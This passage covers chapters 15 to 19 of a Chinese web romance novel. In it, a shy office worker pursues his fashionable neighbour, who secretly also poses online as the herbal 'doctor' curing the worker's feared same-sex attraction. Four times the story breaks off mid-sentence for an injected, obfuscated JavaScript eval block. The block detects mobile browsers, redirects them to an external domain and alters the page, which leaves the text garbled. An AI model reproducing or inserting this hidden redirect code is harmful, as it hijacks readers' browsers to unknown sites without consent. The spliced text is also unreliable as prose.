闻根摇头。 又在大姐开口前,说:“但是有喜欢的人了。” 大姐惊讶:“呦,从哪儿认识的?” 闻根:“邻居。” 大姐:“那还挺好,那你们现在是什么进度?确定关系了没?” 闻根现在还不确定自己是不是男同,心烦意乱,听到这种询问也不知道该怎么回答。 正好放在一边的手机屏幕亮起,他扫过去,发现是阕开霁给自己回消息。 一边含糊敷衍大姐:“嗯……” 一边指纹解锁手机,打开阕开霁的信息。 阕开霁:“刚醒。” “我起床去拿,刚好当午餐。” “谢谢你,下次请你吃饭。” 明明只是几句看不出语气的消息,但闻根却莫名安心起来,好像都能看到对方穿着黑织金睡袍起床的样子。 昨天晚上的混乱梦境卷土重来,可他依旧心动。 他把那几条消息看了好几遍,缓缓打字:“才醒吗?” “中午只吃面包是不是不好?我再给你点个外卖吧。” 阕开霁:“刚醒,不用。” 他慢吞吞起床,整理凌乱的睡袍,出门把闻根门口上挂着的袋子拿下来。一边回家一边给闻根拍照片发过去:“拿到了,谢谢。” 闻根先看到装了面包和牛奶的袋子,又看后面虚化的背景。 阕开霁果然还穿那件黑织金的睡袍,行走间露出白皙修长的小腿。 哪怕是照片,闻根也不敢多看。他匆匆叉掉照片,问阕开霁:“昨天是不是睡很晚?” 阕开霁:“喝了点酒。” 闻根:“吃解酒药了吗?” “没。” “现在难受吗?” 闻根飞快打字,“如果家里没热水,你可以去我家烧一点,不舒服要吃药。” 没多难受,现在手里拿着平凡小闻给买的核桃包和牛奶豆浆,看着手机上平凡小闻的关心,阕开霁只觉得神清气爽。 他打字:“不会用热水壶。” “很简单的,你摁下开关就好了。” 阕开霁不乐意:“等你回来再说吧。” 闻根看着这条信息,抿嘴,好一会儿才回复:“好。” 所以阕开霁的意思是,下午自己回去后,还能见面吗? 阕开霁没再用这个号回复平凡小闻,而是点去中药世家继承人那个号。 随便扫了眼平凡小闻发过来的消息,微微蹙眉。 没立即回复,他点去小红书,切换到AAA中药世家继承人的账号。点进消息提示里,顺着第一条网友的艾特点进图文。 系统提示图文已被删除。 阕开霁拎着东西回家,盘腿坐在沙发上,查看了私信。 闻根已经把图文删除了,但有网友已经把内容截图,在发现闻根已经删掉后,私聊发给他。 陌生人只能发一条消息,对方把好几张图片拼成一张超大的图片发过来,阕开霁需要放大很多倍才能看清闻根到底发了什么。 其实没什么,跟昨天晚上和他私聊时差不多的内容,一本正经说着根本不可能的事,有种说不出的冷幽默。 最后可能是为了给他拉客户,笨拙但真诚的夸了他。 也没什么,就是很正常的措辞。符合闻根的死鱼木呆子人设。 阕开霁向网友发了个感谢的表情包。 又退出去接着看艾特。 这一看倒是看出很多问题。 “你们可一定要走上歧途啊!” “神医辛苦了,支持博主以身相许!” “你俩,麦麸给我看!” “博主笨笨的,支持神医查学历。” 阕开霁算是知道闻根为什么要删掉图文了。 但他装不知道。 一本正经点去微信,确保自己用对了账号,回复平凡小闻:“怎么了?我还没看到,发生了什么吗?” 闻根正因为邻居的“等你回来再说”心猿意马心情豁然开朗,现在收到神医这样的回复,更开心了。 都不是什么很正经的话,他觉得没必要,也实在没脸说。 于是真诚:“没什么,你没看到就算了。” 阕开霁:“所以发生了什么?” 闻根:“……” 他含糊其辞:“就是他们不相信我调理好了,还误以为我们之间有点什么。我解释了说你不是男同,但好像没人信,我就删了。” “反正我好像还没有彻底调理好。” 呦,原来还没有呆到什么都看不懂的地步啊,还知道网友是误以为他们之间有点什么。 那那些艾特自己的评论,他也看到了? 阕开霁忍不住撩了下头发,又把因为豪放姿势敞开的睡袍整理好。 他问:“昨天你还没告诉我,为什么觉得自己还没调理好。” 闻根不肯说。 他把官方号刚发出去、根本没有任何点赞的图文转发过去,央求:“神医,帮我点赞。” 阕开霁大方点赞评论。 闻根有心转移话题,问阕开霁:“不知道为什么,这个号就是起不来,浏览量很低。” 他想讨论一下流量问题,直接把话题转移到工作上。 但阕开霁回复:“但你私人号起来了。” 点进去看了下,“粉丝五千了,就连我这个什么都没发过的号,粉丝也三百多了。” ——都是昨天刷到后关注等后续的。 阕开霁懒洋洋打字:“怎么删了,留着的话粉丝还会更多。” “他们说话太没分寸了。” “不爱听的拉黑呗,反正隔着网线,你管他们说什么。” “我不想看。而且拉黑很费时间,也不想弄。” 不想看,到底是不想看,还是害臊? 阕开霁嘴角忍不住勾了勾,目光转移到后面一句,想再调侃一下,又意识到什么。 拉黑很费时间,也不想弄。 但貌似…… 自己的大号。 正躺在他黑名单里。 …… 阕开霁心情一下就DOWN下去。 他切换账号,用Qamar的号尝试评论闻根的图文。 依旧没办法评论。 自己还是被拉黑的状态。 哈。 昨天晚上没消尽的酒气一路冲到胸膛,化做冷笑。 别人在他评论区开黄腔他直接删图文也不拉黑,结果把自己拉黑了。 为什么? 自己惹着他了? 他点去微信,语气危险问平凡小闻:“不爱拉黑别人?” 隔着屏幕也看不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716879|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么语气,闻根没给这句话任何语气词,只以为像之前每次聊天的单纯询问一样。 他回复:“嗯。反正我也不会和别人起矛盾,不看就行了。” “真没拉黑过别人?” “没。” 信誓旦旦发出去后意识到什么。 闻根有些心虚,手指却忍不住点去小红书,找出黑名单里的Qamar,几番犹豫。 真的不能再看了! 上次只是想想,都还没看,晚上就梦到貌美如花的邻居身材是Qamar肌肉男,今天再看一下主页,自己真的会前功尽弃的! 中药世家继承人的消息又发过来:“你确定?” 闻根:“……” 神医为什么对自己有没有拉黑别人这件事这么关心? 闻根实在赧于告诉其他人事情真相,但对面是帮助自己这么多的朋友。而且上次自己自不量力说调理好了不需要喝药了,后面又问神医求药,神医也没给自己。说不定把真相说出来,他会更了解自己的症状,给自己开新疗程的中药。 闻根努力用看医生时一本正经的语气回复:“就拉黑了一个。” 就拉黑了一个。 那我是不是还应该骄傲我就是这唯一一个? 阕开霁不可置信,甚至都忘记自己神医的马甲,激动:“为什么?!” 为什么? 闻根光想想自己要怎么说,都觉得自己就要讳疾忌医了。 实在是太羞耻了。 但神医依旧是那个最尽职尽责的神医,追问:“他惹你了?” 闻根:“没。” 阕开霁当然知道没。 自己就是一个记录生活的,虽然偶尔会在别人评论区底下发表些并不委婉的评论,但怎么也没道理让闻根拉黑自己。 他不理解:“那你为什么拉黑?!” 闻根:“……” 像每一个面对医生追问不得体病因的患者,他扭捏:“不想看到他。” “为什么?!” “他总让我怀疑自己是同性恋。” 神医不再问了,好像被他的回答震惊到。 闻根的倾诉欲却像是拧开阀头的水管,滔滔不绝。 “一开始我也没觉得自己是同性恋,看到他之后才觉得自己有同性恋倾向。我又总忍不住看,就把他拉黑了。” “其实一开始拉黑也没用,我还总解除拉黑看他的视频。” “但自从我喝了你给开的中药后,真的调理好了,现在不仅对邻居心动,还不怎么看他了。” 神医还是没说话。 隔着屏幕,闻根也不知道对方为何这样,以为他去忙了。 于是放下手机,用手背捂了下过烫的脸颊。 好羞耻。 明明自己就是个普通人,为什么老天要给自己开这样的玩笑。 现在光是坦白病因都足够羞耻了,如果治不好,他真的会疯掉的。 他才不要当同性恋! 吃完饭回工位上,看桌子上空荡荡的保温杯,眼神逐渐缥缈。 自己刚刚最后那句话是不是太确定了? 明明没有调理好,昨晚还梦到了,为什么要和神医说自己调理好了。 自己还需要调理。 需要神医给自己开新疗程的药。 他摸出手机,强忍住羞耻再次打字。 ——阕开霁觉得自己昨天晚上喝太多酒,现在脑子都不清醒了。或者是体内那点混血基因作祟,从小学到大的中文居然这么难懂。 平凡小闻说什么? 他就拉黑了一个人,拉黑原因是那个人让他觉得自己有同性恋倾向。 什么意思? 阕开霁思考了很久很久,甚至拿出十多年前做语文阅读的专注,艰难理解。 隐隐约约想出个大概,还没彻底弄明白,就看平凡小闻又发了新消息过来。 “不对,其实好像还没完全调理好。我昨天晚上梦到他了。” “神医,能再给我开点药吗?” 16. 第 16 章 闻根休息了一会儿,午睡醒来才发现神医回复了自己。 “开不了。” “出院吧。” 自己那时在睡觉,没看到也没回复。隔了半小时,神医不知道发了什么,又很快撤回了。 闻根揉揉眼睛,紧张兮兮:“为什么开不了?” “撤回了什么消息?” 神医马上回复他:“你礼貌吗?” 闻根:“不好意思,我刚刚在睡觉没看手机。” 消息发出去的同时,神医的消息也发过来了:“人家好好的什么都没做,你就因为觉得自己是同性恋就拉黑人家啊。” 阕开霁坚决维护自己的马甲,用神医的口气谴责过平凡小闻,这才看到闻根的消息。 他回复那句话,理直气壮:“下次睡觉前告诉我一下,不然等不到消息很烦。” 闻根觉得有点怪,但这也不是什么难事,他顺从答应:“好。” 收到消息的阕开霁心情愉悦,但想到什么,又马上臭了脸。 时刻报备这么亲密,他一点都没意识到不对劲,是不是随便一个网友都能得到这样的顺从? ——真是一个三心二意的人,一方面说因为Qamar觉得自己是同性恋,一方面说自己喜欢邻居,现在还对只是聊天的神医这么亲密。 明明是自己提要求被答应,但真被答应了又不爽。阕开霁翻脸比翻书还快,指责:“啧,这时候就这么礼貌,区别对待。” 闻根觉得今天的神医怪怪的,但并没多想,努力为自己辩解:“我只是……不想让自己的同性恋倾向越来越严重。” “看他就严重了?” “嗯。” “这么喜欢?” 闻根觉得自己根本不存在的尾巴被人踩了一脚。他快速打字:“不是。” “我不是同性恋。” 还你不是同性恋。 阕开霁冷漠:“那你不是吧。” 闻根看着这句话,一点没松口气的轻快,只是盯着聊天页面,想说什么,又不知道该怎么说。 神医的消息又发过来了:“不是同性恋你梦到人家。” 阕开霁故作无所谓,其实眼睛都要钉死在屏幕上了:“梦到什么了?” 梦到什么了? 闻根想到自己那些吉光片羽般的梦境,那些实在赧于倾诉的画面,含糊:“就梦到了。” “梦到什么?” “就那样。” 闻根警惕,“这些好像也不重要吧。” 阕开霁搜索一番,义正言辞:“当然重要,梦证也是中医很重要的一方面。” “肝藏血,血舍魂,梦境是判断身体健康与否的重要证据。明代陈世元在《梦占逸旨》中提出‘过喜则梦开,过怒则梦闭,过恐则梦匿,过忧则梦嗔,过哀则梦救,过忿则梦詈,过惊则梦狂。’,你老实告诉我梦到什么,我判断你情绪如何,再对症下药精准治疗。” 这一段话先直白表明态度,分条缕析详细解释,再引用名人名言进一步加深说理性。跟闻根发在小红书官方号上的文案一样,一本正经引人信服。就算是拿去给主任评分,也能得到满分成绩。 闻根同样被说服了。 他告诉自己这是在治病,忍住羞耻:“就那样啊。” 平凡小闻平时说话直来直往坦荡真诚,现在冷不丁这样,阕开霁疑惑:“那样是哪样?” 闻根又急又臊,都要把手机丢出去了:“就那样。” 阕开霁恍然大悟。 他又啧了一声,偏过头去,好半天没说话。 闻根一下午都没等到神医的回答。 没有闪送过来的中药包,微信上也没有任何回复。 闻根觉得这是因为,神医的医术广受认可,很多患者求医问药,神医过于忙碌没时间回复。 闻根坚信神医很善良,就算自己一五一十说出那么羞耻的梦境,他也不会歧视自己,更不会放弃没完全痊愈的自己,所以并不着急,只是耐心等待他空闲下来。 只是……有点羞耻。 羞耻得他想把那两条意义不明的“就那样”撤回。 但时间超过撤回不了。 他就胡乱刷了些并没有什么意义的消息,把那两条信息刷上去了。 一下午恍恍惚惚的。 晚上下班后,他在小区楼下遇到邻居。 邻居就坐在那天他牵着狗坐着等狗主人的木椅上,他今天穿了件暗红色皮质衬衫,底下是黑色丝绒喇叭裤。衬衫尺寸宽松,松松垂下去,黑色皮带腰封束得腰极窄,黑色腰封外面又配了条银色细链。非常…… 反正是闻根这辈子都想不出来的穿搭。现在看阕开霁这么穿,完全移不开眼,脚步越来越慢,看他皮衬衫暗纹似的褶皱、夕阳落在丝绒布料上的柔光、腰封和那条银色细链,随便披在肩膀上的棕色长发。 阕开霁穿得跟能去t台走秀、或到了摄影棚就能直接出大片的最优秀的模特,就坐在那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716880|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条椅子上,没看手机没左顾右盼,就那么坐着,放松自然倚在椅背上,手臂搭在后面。这个姿势显得背很宽,胳膊也长。 闻根整下午不守舍的魂魄终于回归躯体,磨磨唧唧走过去,听到自己震耳欲聋的心跳。 色与魂授。 不过如此。 他慢吞吞走过去,和阕开霁摆手打招呼:“嗨。” 靠得近了,他更不会说话,结结巴巴问到,“怎么坐在这里?” 阕开霁仰头看他,夕阳直射过来,闻根没怎么看清他的表情,倒是看到他打量自己的眼神,很怪。 好像穿得花里胡哨摄人心魂的是自己,他才是那个诧异的围观者。 但闻根又走了一步。 阕开霁低头,回答他:“冷静一下。” 闻根:“怎么了吗?” 阕开霁拍了拍身边的位置:“坐。” 闻根坐下,他闻到阕开霁身上的味道——他好像换了一款香水,现在身上不再是甜桃味,而是淡淡的皮革味道,闻上去好像置身沙漠,豁然开阔。鼻尖微动,他忍不住细嗅这个味道。 阕开霁斜斜看他,觉得自己冷静一下午还是没怎么冷静好。 罪魁祸首还一无所知,因为过于平凡从来不用香水,没分清这个香水到底是什么味道,虽然觉得这个味道一点都不甜闻上去很男人,但很包容的接受心仪女孩的新香水。还瞪着那双死鱼眼,关心:“宿醉不舒服?还是遇到什么事了?” 闻根问完这句话,才注意到阕开霁还在看自己,还是那个奇怪的眼神。 他下意识低头看自己,衣服得体整洁——不过神医说这么穿很土,脸上应该也没粘上什么脏东西——就是非常普通的一张脸,黑框眼镜也会很丑。 再看着面前打扮得异常光彩时髦的阕开霁,他莫名生出点自惭形秽,眼神也有些闪躲。 死鱼眼平得像死水,一有点动静就格外明显。 阕开霁捕捉到那点躲闪,岌岌可危的理智再次崩掉。 还敢逃避自己? 自己被动得很彻底,被动的被拉黑,被动的被喜欢,被动的被错认性别。 什么好事都让他占了,现在还敢犹犹豫豫不确定。 犹豫什么,调理什么。 不管是调理好还是调理不好,喜欢的不都是自己一个人吗。 闻根就看着阕开霁脸色变了又变,最后微微仰头,高高在上看着自己,骄傲又理直气壮:“你是不是喜欢我?” 17. 第 17 章 闻根觉得自己也需要冷静一下。 他整个僵直在木椅上,灵魂出窍,只能呆呆看着阕开霁。 阕开霁好像童话故事里虚荣高傲自私的精灵,依旧高傲看着他,追问:“是吗?” 闻根看着他的脸。 依旧那么漂亮,蓝灰色眼睛像起了场大雾,隔着这场雾,闻根看不清眼神里到底有什么。但这个眼神…… 是闻根这辈子都没办法看出的眼神。 闻根没被这场雾冻住,只觉得清醒而心动,下意识想说出内心的喜欢。话到了嘴边,又因为意识到什么,哽住。 他艰难:“现在还不能喜欢你。” 现在还没有完全调理好,隐瞒性向对女生说喜欢,就算伪装成普通人,也是道德败坏的普通人。 阕开霁知道他什么意思,嗤笑:“现在还不能?那什么时候能了?” 闻根一点没觉得咄咄逼人,没觉得她骄纵难伺候,只觉得她这种理所当然非常迷人。 公主理所当然就是要这么高傲,理所当然会得到所有喜欢的。更何况自己这么普通,像自己这样的普通人数都数不清,但阕开霁这样的人却非常难得。 他紧张解释:“我……我病了,等我好了就能喜欢你了。” 是的,他病了,等他彻底调理好了,才能作为一个平凡至极的普通人,喜欢对方。 阕开霁挑眉,不耐烦:“不举?” 闻根发现他的眉毛也是深棕色的,相对于黑色来说显得更浅,线条也很柔和。 但现在一挑眉,眉峰挑出凌冽弧度,看上去……很帅。 闻根再次被蛊惑得短暂失去理智。他呆呆看着阕开霁的侧脸,甚至没反应过来阕开霁说了什么。 直到他注意到阕开霁蓝灰色眼睛下垂,看向自己下腹。 闻根下意识并腿,结结巴巴解释:“不……不是。” 阕开霁一清二楚。 但作为闻根的邻居他,他不应该一清二楚。 所以还是问:“那是什么病?” 闻根:“反正……我会努力治疗的。” “治好了就喜欢我?” 闻根脑子一片空白不知道如何是好了。 偏偏这么理直气壮这么直白的阕开霁,对他来说就像是新世界的物种,神秘高贵又迷人,整个人闪着光一样,明晃晃的引诱所有人把目光聚集过去。 闻根就是个普通人,自觉灰扑扑,更是毫无抵抗能力,只能看着阕开霁,像游戏里被控住的小兵般任由驱使,诚恳:“嗯。” 阕开霁看他木木的死鱼眼,心底浪涛翻涌,说不出到底是什么滋味,只觉得海浪一再拍打着石岸,碎石四散。铅色阴云中,海浪席卷着一只小船自远山晃晃悠悠渡过来,在岸边放下船帆。 阕开霁不知道一下午自己都想了什么,但现在,他顺从本心,慈悲宽容宣布:“不用等治好了,你现在就喜欢吧。” 闻根依旧没察觉到任何不对劲,只是从来没有这样的经历,现在面临新的道路展开,下意识还是走自己最习惯的那条平凡的道路。诚惶诚恐:“但我现在……” 剩下的话被堵回去。 阕开霁伸手,手指按在他唇间。指节抵在嘴唇上,指腹碰到闻根鼻尖。 闻根嗅到他手指上浅淡的皮革味道,还有…… 甜甜的茉莉香味。 阕开霁巡视他五官,被黑框眼镜遮住的桃花眼。 岸边石块被海浪尽数拍碎,细砂似的铺出一条闪着银光的道路。阕开霁不知道尽头是什么,但色厉内苒,揪着闻根一起踏上去。 他宣布:“不用管那些。” = 闻根不太知道不用管那些是什么意思,又怀疑可能只是因为邻居不知道“那些”代表什么,所以才这么轻飘飘说不用管。 但他完全没办法不管。 在邻居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716881|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前表现出正常的样子——也可能是实在太恍惚了,魂魄早已离题,又因为死鱼眼一潭死水很有隐藏性,即使再恍惚也和平时没什么不同,没让邻居看出来不对劲。 但等到回家,就忍不住给神医发消息,一五一十和盘托出:“下班回家遇到邻居了。” “她好漂亮,还问我是不是喜欢她。” “面对她的时候,我又觉得自己调理好了。怎么办,我是不是非常差劲,怎么能连自己现在的性向都分不清呢。” 阕开霁早就习惯用两个视角看同一件事了,他淡定:“那你现在是怎么想的?” “她好漂亮,她真的在发光。” “她是奥特曼吗,还会发光。” “她是美少女战士。” 阕开霁现在也没分清自己到底是怎么回事,看到这条回复,一方面觉得这是闻根直男审美对自己的最高评价,另一方面又怀疑,质问:“你是不是只喜欢她的脸?” “不是。” 闻根矢口否认,他不知道怎么说,如果现在是面对面说话,一定手舞足蹈比划起来了。但隔着手机,他只是踟蹰了一会儿,打字,“她有一种,全世界她最漂亮的感觉。和我们这种灰扑扑的普通人不一样。她好像知道自己有多漂亮会被很多人喜欢的蝴蝶,非常……非常不一样。” 阕开霁:“听起来还蛮讨厌的。” 闻根坚决维护:“一点都不讨厌,她就是非常漂亮,值得所有人喜欢。” 阕开霁:“你也可以成为这样的人。” 闻根:“我就是个普通人。” 阕开霁:“普通人多好啊。” 闻根:“……” 他莫名有些恍惚,眼神虚虚盯着这句话,想到了很多,又好像什么都没想,最后给中药世家继承人发消息,“对,普通人挺好的。” 他就是个普通人。 灰扑扑的工蚁,注定被蝴蝶吸引。 18. 第 18 章 闻根之后有两天没见到邻居。 周五下了班被爹妈叫回家吃饭,吃完饭去厨房洗碗。 把厨房收拾干净刚走出来,闻母用下巴指了指他放在沙发上的手机:“刚刚有人给你发消息。” 闻根擦干净手,拿起手机一看。 是阕开霁的消息。 “在家吗?晚上一起吃饭?” 闻根诚惶诚恐:“我回我妈这边了,已经吃过饭了。” 阕开霁没发消息,他又鼓起勇气询问:“你明天有时间吗?我明天请你吃饭?” 把这两条消息发出去,就鼓起勇气等待回复。 在一边看电视的父母注意到他的紧张,打趣:“喜欢的人?” 闻根偏头看他们,嘴唇抿着。半晌,严肃点头。 之前闻根说过有喜欢的人,闻母还担忧过平凡的儿子太闷不会追人,既不会主动,也没什么特别的优势能得到女孩的青睐。 没想到这两个星期过去,不仅认识有了联系,对方还主动给闻根发消息。 闻母激动:“进度挺快的嘛。” 闻根又马上不好意思起来:“其实还没什么进度。” 闻母摆摆手,好奇:“是个什么样的女孩?” 是个什么样的女孩? 明明已经给神医说过无数遍了,但现在面对母亲的询问,闻根却莫名笨嘴拙舌不知道怎么开口。 好在这时,手机的震动声解救了他。 闻根低头。 阕开霁回复他:“有时间。” 闻母看他低头看消息,然后表情莫名轻快起来,好像要长出翅膀一样的欢欣。更加好奇对面,让闻根如此喜欢的女生是什么样子的。 闻根给阕开霁发了个憨笑的表情包,明明已经很确定了,还是要追问:“那我们明天一起吃饭?” 阕开霁:“嗯。” 闻根又发了个憨笑的表情。 抬头看到父母好奇的视线,又抿起嘴唇。 好一会儿,才告诉他们:“她是……” “和我不一样,非常不普通的一个人。” 闻母脸上的热切消失,变化太快表情带着点僵硬。 她疑惑:“非常不普通指的是?” 闻根也不知道该怎么形容阕开霁的非常不普通是什么样的。 他只是确定:“就是非常不普通。” = 他们没有约确定的时间。阕开霁说什么时候收拾好了就出发。 但闻根被朝九晚五的上班生活腌久了,面对这么不确定的时间,很是紧张。 自己大致收拾了一下,还忍不住给神医发消息,询问自己这么穿可不可以。 于是阕开霁在约会开始前,先看到了闻根的ootd。 还是上次他帮闻根找的那套衣服,衬衣西裤,这一套衣服版型不错,闻根看上去很清爽。 不过黑框眼镜后面的那双眼睛依旧非常死鱼。 ——自己早晚要把这幅丑了吧唧的黑框眼镜给他换掉。 阕开霁一手拿手机回复:“可以。” 又忍不住去玄关,找到玄关柜子上的那条银项链——第一次给闻根搭配时觉得这一身太单调,从工作室找的用做搭配的项链。 不过当天就发现,闻根口中一见钟情的女生是自己。 这条项链就一直在家里放着。 今天…… 就还是给一开始就想给的那个人吧。 闻根收到神医确切的消息,这才松了口气。 但对着镜子看了会儿,忍不住推推黑框眼镜。 两秒后,他慢吞吞打开抽屉,翻出隐形眼镜。 半小时后,闻根听到敲门声,他连忙放下隐形眼镜,带上黑框眼镜——对着镜子摆弄眼睛太久,现在乍一带上眼镜,大脑没完全习惯清晰的视野,面前的一切好像都变小了,闻根恍了一下才回神。 他把隐形眼镜收起来,大步去开门。 阕开霁今天穿了件很简单的白色大印花T恤和黑色长裤。但他带了单侧长耳坠,腕上是绕了三圈的小木珠手链,脖颈上是黑色皮绳吊坠,吊坠绳很长,绕了三圈还能垂到胸口,金属吊坠压在白T上的大印花上,把原本普通简单的白T衬得很时髦。 闻根被扑面而来的美色震得恍惚片刻,艰难找回自己的声音:“现在走?” 阕开霁没回答他,只是居高临下的看他,一声不吭动作自然摘下他的黑框眼镜。 没了眼镜,近在眼前的T恤印花都变得模糊起来,闻根只能看到巨大的金属星形吊坠。他仰头,但还是看不清阕开霁具体的五官,只能看到他白皙如雪的肌肤,还有格外深邃的眼窝。 ——就算被高度近视的视力模糊无数倍,看不清具体皮相,也能看出优越的骨相。 好漂亮。 就算是死了变成标本,也一定是最漂亮的那一个。 闻根一时恍惚,却看阕开霁越靠越近。 阕开霁并不近视,但看闻根呆着那双桃花眼,甚至找不到焦点,就这么直愣愣看自己。就连那颗泪痣看上去都呆呆的,一点都没有旁人那种深情勾人。 可阕开霁却觉得自己的眼睛也开始模糊,忍不住微微低头,靠得越来越近。 太近了,闻根觉得自己都能看清对方了。 但阕开霁只是问:“眼睛怎么回事?” 闻根下意识揉了揉干涩的眼睛:“没什么。” 阕开霁蹙眉,声音有点冷: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716882|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “又带隐形眼镜,戳到了?” 被喜欢的人说出暗戳戳的准备,闻根有点窘,连忙低头避开阕开霁的审视,顺着阕开霁的手看他手里自己的黑框眼镜,含糊应:“嗯。” 又伸手,小声,“我的眼镜。” 阕开霁把眼镜给他带上。 闻根感觉到他的指节蹭过自己的脸颊,热,硬。 阕开霁自己不带眼镜,给闻根带眼镜也没带好,黑框眼镜顺着鼻梁缓缓往下滑。闻根只能自己把眼镜推到正确位置。 呆子推眼镜也是呆的,两只手都抬起来,食指把眼镜架往上推。还要紧张兮兮的调整镜架在耳朵上的位置。 阕开霁看到他细长手指拨了下耳朵,耳朵有肉肉的耳垂,跟着手指动作轻轻颤着,好像一颗肉嘟嘟的珍珠。 ——在中国传统文化里,耳垂是有福气的象征。 闻根把眼镜带好,整理好情绪再看阕开霁,发现他还在看自己,嘴角翘起轻微弧度,好像看到很有趣的画面。 闻根莫名紧张起来,开始怀疑自己是不是没刮干净胡须,鬓边是不是残留着洗面奶泡沫,又或者是衣服不好看…… 他低头检查着装,阕开霁摸着口袋里的项链,再次仔细看闻根。 其实不是那么适合。大体量的项链能修饰单调的白衬衣,但和闻根整体气质完全不搭。 他没把项链拿出来,只是再次深深看了眼闻根,转身:“走吧。” 闻根不知道阕开霁刚刚这段时间都在看什么在想什么,闻言跟上去,顺着刚刚隐形眼镜的话题接着说下去:“本来有一次带上了,但一眨眼又掉出来,我不想前功尽弃就戳了一下,红了吗?” “红了。” 闻根抿嘴:“我不会带。” “不会带就不带。” 两人走到电梯间,阕开霁按下电梯,看他的黑框眼镜,刻薄评价,“随便换副眼镜就好很多。” 闻根窘迫。 阕开霁好奇:“你近视多久了?” 闻根认真回忆一会儿,回答:“十二年。” 阕开霁震惊:“一直都是这副眼镜?” “不是。前几年度数一直在涨,半年换一次。成年后度数不涨但镜片会磨损,也要一年换一次。” 闻根摸摸黑框眼镜架,“镜框是……一开始我妈给挑的,后来一直都是这样的镜框,我习惯了。” 阕开霁:“你喜欢吗?” 闻根重复:“我习惯了。” 电梯到达,阕开霁率先走进去,独断向闻根命令:“换一个喜欢的。” 闻根跟他一起走进电梯,看梯壁上自己和阕开霁的身影,几分犹疑。 但开口时,却是坚定而向往的:“嗯。” 19. 第 19 章 这次出去是阕开霁开车。 餐厅也是阕开霁找的。 口碑挺不错,他们到的时候才十一点,但外面已经排了几个人。服务员说他们大概需要等一个半小时。 闻根看餐厅招牌,点头示意知道了。 却听阕开霁说:“这家店不能预约。” 闻根下意识去看阕开霁。 阕开霁脸上倒是没有需要等待很久的焦灼,只是看着自己。 闻根莫名觉得他好像是在和自己解释——不是他粗心没安排好提前预约才让他们需要等很久,而是这家店生意就是这么火爆,还不允许预约。 闻根没觉得有什么。 而且觉得等待的时间越久,自己和阕开霁单独相处的时间就更久,巴不得多等一会儿。 只是现在已经中午了,太阳灼热。 闻根看阕开霁在太阳下几乎能反光的白皙皮肤,本能不想这样的皮肤被晒黑。 他主动说:“我们先去其他地方等着吧。” 阕开霁从服务员手里接过他们的排号,看他:“给你换副新眼镜去。” 闻根又抬了下自己的黑框眼镜,不好意思:“好。” 他们去附近的商场。 闻根有点紧张,不知道从哪儿摸出眼镜布,把镜片擦了又擦。 阕开霁觉得他这样看上去更呆了,像玩过家家游戏的小人。忍不住一直看他,看他细长手指拿着灰色柔软的眼镜布,认真把镜片擦得干干净净,然后才把眼镜带上,捏着眼镜布调整好眼镜位置。 灰色带眼镜店LOGO的眼镜布垂下来,好像块绣了花的手帕。 闻根戴好眼镜,这才慢吞吞把眼镜布叠好,装到包里。 他告诉阕开霁:“我上次配眼镜的时候是近视五百多度,总觉得度数又涨了。” “不是说成年后就不会再涨了吗?” 闻根一板一眼:“工作后一直对着电脑,散光应该会更严重。” 阕开霁不近视,也不太知道近视散光有什么区别,随口:“有区别吗?” “嗯。近视是看不清,散光的话……” 闻根努力描述,“我晚上看路灯的时候,路灯会像一个刺猬。” 阕开霁忍不住看他:“什么刺猬?” “就是……” 闻根用手指画了个圆圈出来,虚虚勾勒,“这是灯球,散光严重的话,看上去灯是散开的,那些光线一束一束的。” 说着,他问阕开霁,“你不近视?” 阕开霁摇头:“不。” “也不散光?” “不。” 阕开霁语气淡定得让人想打他,“我看灯球就是灯球,不是刺猬。” 闻根羡慕:“真好。” 路口亮起红灯,一边的计时牌上显示红灯还有一百多秒。 阕开霁松开方向盘,偏头看闻根,忍不住又把他的眼镜摘下来。 闻根那双死鱼眼一下就找不到焦点,开始虚了。 